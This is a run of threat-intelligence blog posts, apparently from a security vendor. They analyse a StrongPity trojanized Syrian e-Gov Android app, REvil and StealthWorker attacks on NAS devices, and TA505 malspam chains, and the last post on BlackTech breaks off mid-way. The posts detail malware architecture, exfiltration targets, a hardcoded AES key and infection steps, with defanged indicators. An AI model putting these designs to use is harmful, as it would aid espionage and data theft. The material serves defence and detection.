Network detection and endpoint security systems can also help notify system administrators and direct them to artifacts left by successful or failed exploit attempts.
End users must ultimately keep pace: regularly update the system, and take caution against random or socially engineered links from suspicious or spoofed emails and websites.
Trend Micro Solutions
Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats such as fileless infections and those that abuse unpatched vulnerabilities.
OfficeScan’s Vulnerability Protection shields endpoints from identified and unknown vulnerability exploits even before patches are deployed.
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to attacks using exploits through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect similar threats even without any engine or pattern update.
A list of pertinent Indicators of Compromise (IoCs) can be found in this appendix.
Updated as of February 6, 2017, 10:05 PM (UTC-7):
We updated to include observed systems from other countries that connected to IP addresses operated by Lurk.
Updated as of February 9, 2017, 1:44 AM (UTC-7):
We updated to include the latest news about the arrests of suspected members of the group.
Tags
APT & Targeted Attacks
|
Malware
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Endpoints
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Research
We recently conducted an investigation into a malicious Android malware sample, which we believe can be attributed to the StrongPity APT group, that was posted on the Syrian e-Gov website.
To the best of our knowledge, this is the first time that the group has been publicly observed using malicious Android applications as part of its attacks.
We first learned about the sample from a thread shared on the MalwareHunterTeam Twitter.
Based on the discussion thread, we learned that the shared sample is a trojanized version of the Syrian e-gov Android application that would steal contact lists and collect files with specific file extensions from its victim's device.
One response from the thread pointed out that the malicious APK was likely distributed using a "watering-hole"-like technique: the attacker allegedly had compromised the official Syrian E-Gov website and replaced the official Android application file with a trojanized version of the original app.
Due to the suspicious nature of this activity, we decided to investigate further.
This blog entry will discuss the group’s attack tactics, techniques, and procedures (TTPs) in relation to the Android malware and why these activities can be attributed to this threat actor.
Furthermore, we will also dive into the threat actor’s development progress and identify several other malicious Android malware samples produced by StrongPity.
Finally, we will briefly discuss related malware variants, including the second version of the Android trojan, which appears to be a work in progress and includes several testing features.
Initial investigation
The first thing we did was check the URL where the malicious APK file was hosted (https://egov[.]sy/mobile/egov[.]apk).
The version of the application that is downloadable from the site at the time of writing is a clean version of the Syrian e-gov Android application that is different from the malicious application previously discussed on Twitter.
This means that, at one point, the malicious version of the application was  deleted from the site.
At least six other samples with the same application name ("بوابتي") and matching package names (com.egov.app.
*) can be identified on VirusTotal.
We verified all of these samples and concluded that all of them are benign.
These benign versions of the application were created during the period from February 2020 until March 2021.
We believe all of them are official apps from the Syrian E-Gov website.
The malicious sample, mentioned in the Twitter thread, is available on VirusTotal and as of the time of writing, has several positive detections.
Although some antivirus vendors detect the identified malicious sample as Bahamut, we doubted the accuracy of this attribution to the Bahamut APT group.
Further investigation revealed several artifacts that could possibly link the malicious sample to the StrongPity APT group.
Analysis of the malicious sample
The malicious version of the application (fd1aac87399ad22234c503d8adb2ae9f0d950b6edf4456b1515a30100b5656a7) was created on May 2021(The timestamps within the file point to 2021-05-03 as the creation date, while the file was uploaded to VirusTotal on May 24, 2021).
This application is signed with a different certificate and was produced by repackaging the original app from the Syrian government.
All of the original applications, on the other hand, are signed with another certificate.
Figure 1.
Comparison of the certificates used to sign the original (top) and the malicious applications(bottom)
The malicious application has the AndroidManifest.xml modified to include references to additional classes and request additional permissions on the device (seen in Figure 3).
Figure 2.
The modified AndroidManifest.xml of the malicious app
Overview of the inserted code
The threat actor added the following classes to this application; some of these classes (com.egov.app.
NetworkStatusService, com.egov.app.
Receiver) are referenced in the modified AndroidManifest.xml.
Figure 3.
The classes added to the malicious app are shown in the right part of the image.
The original classes are shown in the left.
Figure 3 shows that many of the other classes have randomly generated class and method names.
This naming pattern was likely produced by a software obfuscation tool.
Malicious code initialization
Two major additional components were added to the malicious version of the application: a service and a receiver.
The receiver starts the malicious service.
The malicious service is declared as an Android Service, which is an application component that can perform long-running tasks in the background.
This malicious service is declared with the class name "com.egov.app.
NetworkStatusService", and is started by the Receiver class.
Our analysis of the Receiver configuration and code found multiple methods for starting the malicious NetworkStatusService service.
The service is started when the device connectivity is changed.
The djdeeu class registers a broadcast receiver for CONNECTIVITY_CHANGE.
The service can be started from launcher activity or other registered receivers.
The service can be started using the "Alarm" mechanism.
Once the malicious NetworkStatusService service is started, it executes its malicious functionality via a set of message handlers, which are responsible for handling specific messages.
Architecture of the backdoor
The sample uses the "Handler" mechanism to dispatch messages that trigger malicious behavior.
A custom enum structure is used to define the message types.
It defines seven message types, shown in Figure 4.
Figure 4.
Code showing the seven defined messages.
Each of the messages trigger a different behavior through the handler.
The following is a quick summary of the purpose and behavior of each specific message:
MSG_TRIG_ALARM_HEARTBEAT
When this message is received, a periodic task for heartbeat message is set.
MSG_TRIG_ALARM_SYNC
When this message is received, a periodic task for sync message is set.
MSG_HEARTBEAT
This message triggers the heartbeat function, which sends a request to the command-and-control (C&C) server and receives a response with an encrypted payload.
The encrypted payload is first saved into the directory <DIR>/.android/water.zip, after which the file water.zip is decrypted and the decrypted payload written to <DIR>/.android/e.zip.
Next, the file e.zip is decompressed into <DIR>/.android and the file with the name "config.properties" is accessed.
Finally, this file is read and parsed.
These properties are extracted and written as configuration settings to local shared preference, allowing the malware to change its behavior according to the configuration.
MSG_SYNC
Sync is a repeated behavior.
It uploads files, which were collected on infected devices, with a periodicity of 3000 seconds.
The handler for MSG_SYNC executes the following functionality:
First, it enumerates all files under <DIR>/.android/.lib2.
It then creates a zip file with the name <uniqueId>.zip (note that the unique ID is not a real device ID, the malware just calculates a  custom unique ID based on the device ID value), and writes the files into the compressed file.
Finally, it upload the zip file to the C&C server and deletes all files under <DIR>/.android/.lib2, as well as the compressed file <uniqueId>.zip.
MSG_COLLECT
The handler for this message collects data from the victim’s device.
First, it collects contact information, followed by information regarding available Wi-Fi networks.
It then searches through the device files and harvests all files that match pre-defined file extensions:
.asc
.dgs
.doc
.docx
.edf
.gpg
.jpeg
.jpg
.key
.m2r
.meo
.pdf
.pgp
.pir
.pkr
.pub
.rjv
.rms
.sem
.sit
.skr
.sys
.xls
.xlsx
Figure 5.
A snippet of the file harvesting code
MSG_TRIG_ALARM_COLLECT
When this message is received, a periodic task for the “collect message” handler is set.
MSG_CONNECTIVITY
This message sends all the mentioned messages one by one.
Modular Functionality of the backdoor
This sample uses highly modular components to create a flexible architecture for component loading and unloading.
The functions onCreate and onDestroy show a common approach to loading and unloading a component.
Figure 6.
Code snippet showing the onCreate and onDestroy functions
The following are the components were used in the sample:
pekmek(Crypto Manager): Uses AES to decrypt and encrypt files and strings.
ltymcr(Helper Class): Contains many utility functions, such as a function to calculate unique id, parse config file, write/read shared preference, and define encryption keys.
Figure 7.
Code snippet showing the ltymcr(Helper Class) component
sadwoo: A component used as PowerWakeLock.
phkyxc: A component used as WifiWakeLock.
tfsdne: This is a wrapper used for C&C communication such as heartbeat and sync.
itxdrx(Net Manager): A component responsible for handling HTTP protocol communication.
Figure 8.
Code from the itxdrx component
nhnhpi: The component responsible for managing the C&C server.
This component includes definition of an initial C&C server.
The initial value can be overridden.
The StrongPity backdoor has the ability to update (including deleting and adding) its C&C server address via configuration updates from the "heartbeat" command.
Figure 9.
The code that handles the addition and deletion of C&C servers
Investigation and attribution
When we learned how the threat actor repackages benign applications into trojanized variants, we decided to search for similar samples on VirusTotal.
We searched for other applications that were repackaged in a similar method and included similar malicious components.
Similar malicious samples
We found several other samples that were produced by the same threat actor.
We determined these samples to be similar because all of them (except for the last sample) were also repackaged from normal applications and had similar malicious code inserted.
Date of submission
SHA256
Identified C&C servers
Additional Details
August 2, 2019
374d92f553c28e9dad1aa7f5d334a07dede1e5ad19c3766efde74290d0c49afb
upeg-system-app[.
]com
Likely repacked from Kingoroot.
June 8, 2020
be9214a5804632004f7fd5b90fbac3e23f44bb7f0a252b8277dd7e9d8b8a52f3
networktopologymaps[.
]com
Likely repacked from Snaptube, though It is not the same as 596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d.
June 8, 2020
a9378a5469319faffc48f3aa70f5b352d5acb7d361c5177a9aac90d9c58bb628
networktopologymaps[.
]com
Likely repacked from net[.]cybertik[.
]wifi (the original app could be downloaded from the Yemeni website, cybertik[.
]net).
June 13, 2021
596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d
upeg-system-app[.
]com
Likely repacked from Snaptube.
January 1, 2021
75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b
upn-sec3-msd[.
]com
This is likely a testing sample because it provides buttons to test functions.
This sample also contains some new features that we haven’t seen in other samples.
This shows that the actor is actively involved in the development of APK versions of the backdoor.
Table 1.
Similar malicious samples found on VirusTotal
The sample 75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b  serves as the key attribution factor and is the main link to the StrongPity threat actor, because it communicates with a C&C server that was previously identified by several research teams as infrastructure used by the group.
Tools, tactics, and procedures on Windows
There are no known public reports of StrongPity using malicious Android applications in their attacks at the time of writing.
In order to strengthen our confidence in the accuracy of our attribution to StrongPity, we decided to further examine some of their samples that were used to target Microsoft Windows platforms and see if we could identify similar tools, tactics, and procedures (TTPs) in their actions.
Just as we have seen with the Android apps, the StrongPity group favors repacking benign installers to produce trojanized versions of these applications.
Likewise, the main function of these backdoors is to search, harvest, and exfiltrate files from the victim’s computers.
Take, for example, the following sample:  48f67be806b4e823280f03ee5512ffd58deb6f37ecc80842265d4e8d2ca30055.
The sample first drops a file called "TrustedInstaller.exe" to <DIR>/AppData/Local/Temp and then executes it.
This dropped file is a clean WinRAR installer.
Figure 10.
Code used in the file “TrustedInstaller.exe”
It then creates <DIR>/AppData/Local/Temp/lang_be29c9f3-83we to drop malicious files and execute them.
Figure 11.
Code showing the creation of the directory
If we examine another StrongPity sample (12818a96211b7c47863b109be63e951075cf6a41652464a584dd2f26010f7535), the logic is similar — it drops a normal installer into the Temp directory and creates a directory for dropped malicious files.
Here are three notable similarities between the Windows sample and the Android sample:
1.
They all disguised as normal apps by utilizing the original clean applications — the Android sample repacks the original one into a trojanized version, while the Windows sample uses a trojanized installer packed with the original program.
2.
Both collect and exfiltrate files from the infected device.
3.
Both are highly modular.
The Windows sample has a standalone Exfiltration and File Search module, a feature that could also be seen in the latest test Android sample.
Possible connections to StrongPity
We found several clues that link the malicious Android samples with the StrongPity threat actor.
The sample 74582c3d920332117541a9bbc6b8995fbe7e1aff communicates with the URL  https://www.upn-sec3-msd[.]com/ProxyServer/service/.
The domain name “upn-sec3-msd[.
]com” was mentioned in another StrongPity report.
The domain naming pattern and domain acquisition techniques are quite similar.
For example, the domain names used by StrongPity in 2020 have a domain naming pattern similar to the domains used by the identified Android samples.
One of the domain names, networktopologymaps[.
]com, was likely bought when registration at Gandi expired.
The domain was acquired via the Porkbun network registrar.
This is similar to the domain hostoperationsystems[.
]com, which was previously mentioned in the Talos report.
This domain was also acquired via Porkbun and features a comparable domain naming pattern.
Another notable point of correlation to StrongPity is the list of file extensions, which we have seen in Android samples.
A similar list of the file extensions for the files is presented in variants of the trojan for Windows systems.
For example, one of the samples that we had examined earlier, gathers files with the following extensions:
.7z
.asc
.dgs
.doc
.docx
.gpg
.pdf
.pgp
.ppt
.pptx
.rar
.rjv
.rms
.rtf
.sft
.tc
.txt
.xls
.xlsx
As we previously mentioned, there are no public reports of the StrongPity threat actor using malicious Android applications in the attack.
However, we examined the trojan code-embedding techniques as well as the trojan functionality of the malicious code written by the same threat actor for Windows platforms, and we have identified some similar patterns.
This leads us to believe that these could belong to the same threat actor.
StrongPity actively develops new malicious android apps
We believe that the StrongPity Threat actor is actively developing backdoors for Android.
Based on the test sample that we have identified, we can see that the threat actor attempts several techniques to lure potential victims: repackaged applications, compromised websites, and fake variants of popular applications.
Based on the additional functionalities that we identified in the fake Samsung security service application (75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b), we think that among the APK files that we had identified, the repackaged applications are bundled with the first version of the Android trojan, while the fake application could be a work in progress for the next version of the tool.
In the second version, we observed the threat actor developed and included some additional components and as well as added support for more message types.
The following table shows the types that the threat actor has defined.
Message type
Details
MSG_ADD_MODULE
Add a new module
MSG_GET_MODULE
Get the module instance
MSG_DEL_MODULE
Delete module file under <DIR>/.android/.li/<module name>
MSG_DEL_APK
Delete the APK file under the download directory
MSG_START_MODULES
Table 2.
Message types defined by the threat actor
In this version, MSG_COLLECT is no longer present — we think they replaced it with MSG_START_MODULES, a message used to read all module names from the shared preference, and start/initialize them one by one.
We were not able to get access to these modules, but based on some of the code functionality that we observed, we believe that these modules are designed to collect data from the victim’s devices and write the collected data into a local SQLite db data file.
However, we were not able to find any of these modules in the wild.
There are also several other key differences between version 1 and version 2 of the trojan:
The message Handler for heartbeat message in version 2 is now split into two messages: heartbeat and taken_config.
Either of these messages can receive a response from the C&C server and decrypt the response to update the local configuration, similarly to the version 1.
Version 2 uses different AES encryption keys:  key("aaaanothingimpossiblebbb"), and AES IV("aaaanothingimpos")
ScreenReceiver class is added to the second version of the trojan.
The purpose of this Receiver is to start the malicious service via Screen_On and Screen_Off events.
Version 2 has an ability to execute “su” command, if the device is rooted.
The main usage of the root privilege here is that it could grant permissions silently.
Such permissions include accessibility, notification and other.
However, we did not find any evidence that the sample would attempt to root the device.
Two components were added in version 2 for accessibility and notification.
Version 2 uses SQLite to store collected data.
Furthermore, it no longer uses ZIP.
In Version 2, the extra modules used in “MSG_START_MODULES” are downloaded from the C&C server via either the heartbeat or taken_config message.
It’s possible that these modules are decompressed as part of the response into <DIR>/.android/.li and consequentially executed.
Conclusion
This investigation has provided evidence to attribute the Android malware sample, which was posted on the Syrian e-Gov website, to the StrongPity threat group.
We were also able to identify additional Android trojan files and correlate these malicious Android applications with existing public reports based on their similarities to the threat actor’s TTPs and network infrastructure they used.
Although there are no previously known malicious Android applications attributed to the StrongPity group, we strongly believe that the threat actor is in the process of actively developing new malicious components that can be used to target Android platforms.
We believe that the threat actor is exploring multiple ways of delivering the applications to potential victims, such as using fake apps and using compromised websites as watering holes to trick users into installing malicious applications.
Typically, these websites would require its users to download the applications directly onto their devices.
In order to do so, these users would be required to enable installation of the applications from “unknown sources” on their devices.
This bypasses the “trust-chain” of the Android ecosystem and makes it easier for an attacker to deliver additional malicious components.
Indicators of Compromise (IOCs)
Files
SHA256
Description
Detection
fd1aac87399ad22234c503d8adb2ae9f0d950b6edf4456b1515a30100b5656a7
The trojanized version of the Syria eGov Application
AndroidOS_StrongPity.HRX
374d92f553c28e9dad1aa7f5d334a07dede1e5ad19c3766efde74290d0c49afb
Sample repackaged from Kingoroot
AndroidOS_StrongPity.HRX
a9378a5469319faffc48f3aa70f5b352d5acb7d361c5177a9aac90d9c58bb628
Sample repackaged from net.cybertik.wifi
AndroidOS_StrongPity.HRX
be9214a5804632004f7fd5b90fbac3e23f44bb7f0a252b8277dd7e9d8b8a52f3
Repackaged from Snaptube
AndroidOS_StrongPity.HRX
596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d
Repackaged from Snaptube
AndroidOS_StrongPity.HRX
75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b
Fake Samsung Security Service sample
AndroidOS_StrongPity.HRX
Network C&C Infrastructure
SHA256
Domain
Detection
fd1aac87399ad22234c503d8adb2ae9f0d950b6edf4456b1515a30100b5656a7
Internetwideband[.
]com
AndroidOS_StrongPity.HRX
374d92f553c28e9dad1aa7f5d334a07dede1e5ad19c3766efde74290d0c49afb
upeg-system-app[.
]com
AndroidOS_StrongPity.HRX
a9378a5469319faffc48f3aa70f5b352d5acb7d361c5177a9aac90d9c58bb628
networktopologymaps[.
]com
AndroidOS_StrongPity.HRX
be9214a5804632004f7fd5b90fbac3e23f44bb7f0a252b8277dd7e9d8b8a52f3
networktopologymaps[.
]com
AndroidOS_StrongPity.HRX
596257ef017b02ba6961869d78a2317500a45f00c76682a22bbdbd3391857b5d
upeg-system-app[.
]com
AndroidOS_StrongPity.HRX
75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b
upn-sec3-msd[.
]com
AndroidOS_StrongPity.HRX
Tags
APT & Targeted Attacks
|
Research
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Mobile
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Articles, News, Reports
Threats to the internet of things (IoT) continue to evolve as users and businesses grow increasingly reliant on these tools for constant connectivity, access to information and data, and workflow continuity.
Cybercriminals have taken notice of this dependence and now regularly update their known tools and routines to include network-attached storage (NAS) devices to their list of targets, knowing full well that users rely on these devices for storing and backing up files in both modern homes and businesses.
More importantly, cybercriminals are aware that these tools hold valuable information and have only minimal security measures.
In our latest research paper, “Backing Your Backup: Defending NAS Devices Against Evolving Threats,” we studied the current infrastructure, environment, threats, and recommendations for defending systems against current threats targeting NAS devices.
To emphasize the importance of mitigating the risks of malware infection and targeted attacks on NAS devices, we analyzed the technical details of two malware families that potentially included NAS devices in their existing business models, the REvil ransomware and StealthWorker botnets.
REvil
While the disappearance of REvil (aka Sodinokibi) in mid-2021 is filled with uncertainty, security researchers have found a Linux version of the REvil ransomware that they have dubbed as Revix.
After analyzing the samples, we found four different versions of the malware, all of which rely on an embedded JavaScript Observed Notation (JSON)-based configuration to set parameters before encrypting files.
Figure 1.
Revix’s JSON-based configuration
While some parameters are ignored by the ransomware, these are most important ones that we observed:
pk: A 64-byte key
nbody: The ransomware note text-encoded in base64
nname: The ransomware note name
ext: The extension added to encrypted files
After compromising the system, the malicious actors execute it manually on a NAS device to encrypt files and create a ransom note with a unique key per victim.
Figure 2.
Revix encrypting a QNAP NAS device
Figure 3.
Revix ransom note
While the differences between the versions are minor, the group advertised the capability of encrypting NAS devices as early as May 2021 in underground forums.
Given the vulnerability of NAS devices that are directly connected to the internet, we can expect a new wave of ransomware attacks affecting these gadgets in the future.
StealthWorker
In 2021, security researchers found brute-force attacks launched from the StealthWorker botnet on Synology NAS devices.
We found multiple samples for this botnet and confirmed that newer versions are capable of brute-forcing and compromising servers running on several products and systems such as WooCommerce and WordPress.
This botnet is also designed to generally attack any web server using HTTP authentication and other NAS devices like QNAP.
Valid credentials found during compromise are then uploaded to the command-and-control (C&C) server, usually at port 5028/TCP.
Figure 4.
StealthWorker brute-force function targeting QNAP devices
Figure 5.
Infected Linux device connected to a C&C server
How to protect NAS devices
Without proper security implemented in NAS devices, users and businesses will continue to be targeted since these tools can be used as entry points for information theft, malware infection, and the disruption of operations, among others.
Here are some best practices to protect your systems against threats that leverage the gaps in your NAS devices:
Avoid connecting a NAS device directly to the internet.
Regularly change the credentials for accessing an NAS device.
Never use the preset default credentials that come with the device as these are well-known to malicious actors.
Enable two-factor authentication (2FA) for additional security.
Uninstall applications, software, and services that are no longer in use as these can be abused as entry points.
Regularly check NAS manufacturers’ online security guides, such as Synology’s recommended best practices and QNAP’s recently released suggestions on how to help defend their devices against additional exposure on the internet.
To find more technical details, threats, insights, and recommendations in protecting your NAS device, download our research “Backing Your Backup: Defending NAS Devices Against Evolving Threats.”
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Malware
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Cyber Crime
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Exploits & Vulnerabilities
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Research
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Smart Home
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Cyber Threats
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APT & Targeted Attacks
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Endpoints
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IoT
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Ransomware
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Articles, News, Reports
TA505 is a prolific cybercriminal group known for its attacks against multiple financial institutions and retail companies using malicious spam campaigns and different malware.
We have been following TA505 closely and detected various related activities for the past two months.
In the group's latest campaign, they started using HTML attachments to deliver malicious .XLS files that lead to downloader and backdoor FlawedAmmyy, mostly to target users in South Korea.
Figure 1.
TA505’s latest infection chain
This blog post covers three main points involving TA505: their recent activity in specific regions, shifting tactics and payloads, and suspicious activity possibly associated with the group.
We also touch on the latest TA505 developments, including an email stealer, their use of legitimate software and MSI Installer, and more.
Recent activity in Latin America and East Asia
As previously mentioned, TA505, first named by Proofpoint, is known for targeting financial enterprises.
Since last December, TA505 has been very active and has been using legitimate or compromised RATs (remote access trojans) such as FlawedAmmyy, FlawedGrace, and Remote Manipulator System (RMS).
While monitoring their activities, we found that the group is still updating their tactics, techniques, and procedures (TTPs).
In April, TA505 targeted Latin American countries Chile and Mexico, and even Italy using either FlawedAmmyy RAT or RMS RAT as payload.
By the end of April, we learned that the group started to go after targets in East Asian countries such as China, South Korea, and Taiwan using FlawedAmmyy RAT as its payload.
TA505 has also recently used LOLbins and legitimate Windows OS processes to perform malicious activities and deliver a payload without being detected.
As the entry point of an attack, it delivers a sophisticated email containing a malicious Excel or Word file.
The group notably abuses Excel 4.0 macro — a particularly old macro likely used to evade typical macro detection.
Figure 2.
Korean language (left), simplified Chinese language (right) Microsoft Office instructions on how to enable macro
Figure 3.
Excel 4.0 macro
This said macro executes a command to download the first stage payload using msiexec.exe, a Microsoft Installer tool that can download and run a Windows Installer file.
The first stage payload is an MSI Installer that was created using an EXE to MSI converter.
Figure 4.
MSI Installer payload that used EXE to MSI converter
The actual malicious payload is in the MSI Installer package.
The payload can vary in each campaign, but it typically uses the FlawedAmmyy downloader, ServHelper, or RMS RAT launcher.
Payload as FlawedAmmyy downloader
The MSI Installer itself contains a FlawedAmmyy downloader, which is always signed.
Figure 5.
FlawedAmmyy downloader
Figure 6.
Digitally signed FlawedAmmyy downloader
The downloader will check if the infected machine is running in the Active Directory (AD) network.
It then runs the “net group /domain” command and checks if “workgroup” is contained in the output result.
(If it does not exist, it means that the PC is running in AD.)
After performing the check, it downloads the RC4-encrypted FlawedAmmyy RAT, decrypts it, and executes it as the final payload.
We recently observed an instance where the FlawedAmmyy downloader was not digitally signed (FlawedAmmyy RAT payload is still signed, however).
It could be a blip — perhaps a one-off — but it's still notable.
Payload as ServHelper
ServHelper is classified as a backdoor, but it can also work as a downloader for FlawedGrace.
If the MSI Installer package contains ServHelper as a payload, it will come with an NSIS (Nullsoft Scriptable Install System) installer.
Figure 7.
NSIS Installer
NSIS is a legitimate tool that manages the installation for Windows, but some hacking groups also abuse it.
TA505, for instance, abuses NSIS to install ServHelper.
This NSIS installer has two files: (nsExec.dll and repotaj.dll) and [NSIS].nsi.
The latter is a configuration file that handles files to install.
Figure 8.
NSIS Installer sections
In this case, repotaj.dll, which is ServHelper, will be extracted to %TEMP% and execute with the “feast” parameter as its export function.
Once ServHelper is executed, it runs a PowerShell script to get information from the infected machine.
Payload as RMS RAT
TA505 also uses RMS, a legitimate RAT, in their campaigns.
If the MSI Installer package contains RMS RAT as its payload, it will include a self-extracting RAR.
Figure 9.
SFXRAR
This SFXRAR extracts three files to %TEMP% and executes one of the files, where exit.exe is a launcher for i.cmd; i.cmd renames kernel.dll to uninstall.exe, then executes it with parameters.
Figure 10.
Three files extracted from SFXRAR
Figure 11.
Executed parameters
As indicated in the parameter above, kernel.dll/uninstall.exe is also SFXRAR, but password-protected.
It will extract the following files (Figure 12) and execute exit.exe, where the said executable is also a launcher of i.cmd that registers winserv.exe (the actual RMS RAT) and executes it.
The password used to extract from the RAR file will be passed by the parameter “-p”, which is set in i.cmd.
Figure 12.
Extracted files
Figure 13.
RMS RAT is added to the startup registry and executed
Updates on TA505's tactics, techniques and procedures
Since the tail end of April through early June, we observed TA505 changing its tactics, techniques, and procedures (TTPs) in a variety of ways.
The following is a quick rundown of the group's varying methods.
Using Amadey to distribute EmailStealer
On April 24, we detected an attack that used Amadey as its first stage payload.
Amadey is a known downloader for another payload (FlawedAmmyy downloader) and EmailStealer, which steals email accounts or SMTP credentials from infected PCs.
In this particular attack, we discovered that the C&C server of EmailStealer had an open directory, allowing us to view the information that EmailStealer stole.
We presume the information, primarily comprised of lists of email addresses, will be used in future attacks.
Using VBA macro
TA505 has been using Excel 4.0 macro for a while, but we recently observed the group using the usual VBA (Visual Basic for Applications) macro along with Excel 4.0 macro.
However, they still hide the command and malicious URL in “UserForm” and not in VBA code.
Figure 14.
Malicious command and URL hidden in UserForm
Avoiding the use of msiexec.exe
As previously mentioned, TA505 abuses msiexec.exe to install its first stage payload, but we recently observed the group just directly downloading the first stage payload binary and executing it.
Like the VBA macro code, the group just executes the downloaded file 234.exe by cmd.exe.
This is possibly because endpoint security solutions easily detect msiexec.exe.
Using HTML as an attack entry point
TA505 has been using Excel file, Word document, or .WIZ files as its attack entry point.
However, as mentioned earlier, the group has also started to attach an HTML link in emails to trick users into opening the Excel file.
Figure 15.
Attached HTML
Opening this HTML link will redirect the user to a malicious URL that hosts the malicious Excel file.
The Excel file still has the same style of VBA macro, which was described in the previous section.
This could mean that the group is trying to change the entry point's file type to bypass macro detection.
In early June, for instance, we saw HTML in emails that used a friendly tone so recipients would download the Excel file.
Some recent cases we observed even had the Excel file directly attached to the emails.
Figure 16.
HTML shows a message before Excel download (Translation from Korean: Downloading ... ... will be taken to the download page after a while ....
If you wait a while and continue to see this message, please click on <a href="<MALICIOUS_URL>"> link </a>!
Thank you.)
Suspicious activity involving TA505
While analyzing TA505's activities, we encountered strange attacks that were very similar to TA505’s TTPs but with some differences.
This section discusses a particular attack that, like the usual TA505 attack, distributes RMS RAT via Excel and SFXRAR.
But it also contains Kronos, a known banking trojan; and SmokeLoader, which is another payload downloader.
While the attack shows characteristics that are similar those of TA505's attacks, we suspect that this could be a forged attack.
As for the reason why we are dubious about this attack, another report has also since surfaced discussing that some threat actor was using similar tools to TA505’s.
In this attack, the basic TTPs and tools used seem similar, but we found five interesting points that set them apart:
Using .rar or .zip as attachment
The TA505 group usually attaches a malicious file without any compression.
But this attack sent an email with a .rar or .zip attachment.
However, this may not be a significant difference.
Using a similar image on Excel but with different macro and attribution
The following image on Excel appears similar to the one TA505 has been using.
Figure 17.
Display on Excel for this suspicious attack
But there are a few differences in this Excel file.
For one thing, it has a different style of VBA macro.
TA505 has been using Excel 4.0 macro and VBA macro without heavy obfuscation, but this particular Excel file was heavily obfuscated and had a different style.
Figure 18.
VBA macro with heavy obfuscation
Another factor is its different codepage.
Malicious Excel files that TA505 distributed had information harvesting capabilities.
For example, the codepage of Excel has always been “1251” Cyrillic (Windows), but the code page of this particular attack was “1252” Western European (Windows).
Figure 19.
Information of Excel file used in this suspicious attack
Figure 20.
Information of the usual Excel file distributed by TA505
Lacking the use of fast flux infrastructure
TA505 uses fast flux, a DNS technique used to mask botnets by quickly shifting among compromised hosts, which allows cybercriminals to delay or evade detection.
The domains the group has been using to distribute payloads were usually resolved across a lot of IPs.
But in this attack, the domains used to distribute the payload only had one IP.
It should be noted, however, that TA505 may have used different infrastructure for this instance, or another attacker may have performed malicious activities under the guise of TA505.
Using Kronos and SmokeLoader (v2019)
TA505 previously used Amadey to distribute the FlawedAmmyy downloader before, so the use of Kronos and SmokeLoader can’t be considered strong evidence of false attribution.
Using a different infrastructure to distribute spam
The strongest evidence that this attack might not come from TA505 is that this attack operator used a different spam infrastructure.
Our daily monitoring of TA505's activities show that the group sends spam from specific IPs; this suspicious attack used different sender IPs.
We couldn’t find any of the IPs used in previous attacks.
We can’t say for sure if this particular attack comes from TA505, another threat actor, an imitator, or perhaps just TA505 using another infrastructure.
This reiterates the tricky business of attribution in cybersecurity, which calls for careful inspection.
While it's easy to attribute similar incidents to certain threat actors, groups, or even countries, attribution should ultimately be based on technically provable information.
After all, attributions can be used to operationalize appropriate incident response and remediation.
Defending against TA505's malicious activities
TA505 has been responsible for many large-scale attacks since at least 2014, using malicious email campaigns to distribute various banking trojans, ransomware, RATs, and backdoors.
They had also targeted retail brands and even different financial companies across the world.
TA505 has been focused on delivering downloaders, information stealers, and other malware — threats that can remain in affected systems if not prevented or remediated.
With the group's use of email as an entry point for malicious activities, the threat has become more serious for unwitting users and organizations.
Here are some best practices:
Regularly update systems and applications.
Incorporate multilayered security mechanisms such as firewalls and intrusion detection and prevention systems.
For system administrators, secure the email gateway to prevent it from becoming an attack entry point and proactively monitor possible attack vectors.
To defend against spam and threats from the TA505 group, businesses can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security.
Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.
Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.
Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.
It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.
The list of indicators of compromise (IoCs) related to this threat can be found in this appendix.
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BlackTech is a cyber espionage group operating against targets in East Asia, particularly Taiwan, and occasionally, Japan and Hong Kong.
Based on the mutexes and domain names of some of their C&C servers, BlackTech’s campaigns are likely designed to steal their target’s technology.
Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns: PLEAD, Shrouded Crossbow, and of late, Waterbear.
Over the course of their campaigns, we analyzed their modus operandi and dissected their tools of the trade—and uncovered common denominators indicating that PLEAD, Shrouded Crossbow, and Waterbear may actually be operated by the same group.
PLEAD
PLEAD is an information theft campaign with a penchant for confidential documents.
Active since 2012, it has so far targeted Taiwanese government agencies and private organizations.
PLEAD’s toolset includes the self-named PLEAD backdoor and the DRIGO exfiltration tool.
PLEAD uses spear-phishing emails to deliver and install their backdoor, either as an attachment or through links to cloud storage services.
Some of the cloud storage accounts used to deliver PLEAD are also used as drop off points for exfiltrated documents stolen by DRIGO.
PLEAD’s installers are disguised as documents using the right-to-left-override (RTLO) technique to obfuscate the malware’s filename.
They are mostly accompanied by decoy documents to further trick users.
We’ve also seen PLEAD use exploits for these vulnerabilities:
CVE-2015-5119, patched by Adobe last July, 2015
CVE-2012-0158, patched by Microsoft last April, 2012
CVE-2014-6352, patched by Microsoft last October, 2014
CVE-2017-0199, patched by Microsoft last April, 2017
PLEAD also dabbled with a short-lived, fileless version of their malware when it obtained an exploit for a Flash vulnerability (CVE-2015-5119) that was leaked during the Hacking Team breach.
Figure 1: How PLEAD utilizes compromised routers
PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as virtual server.
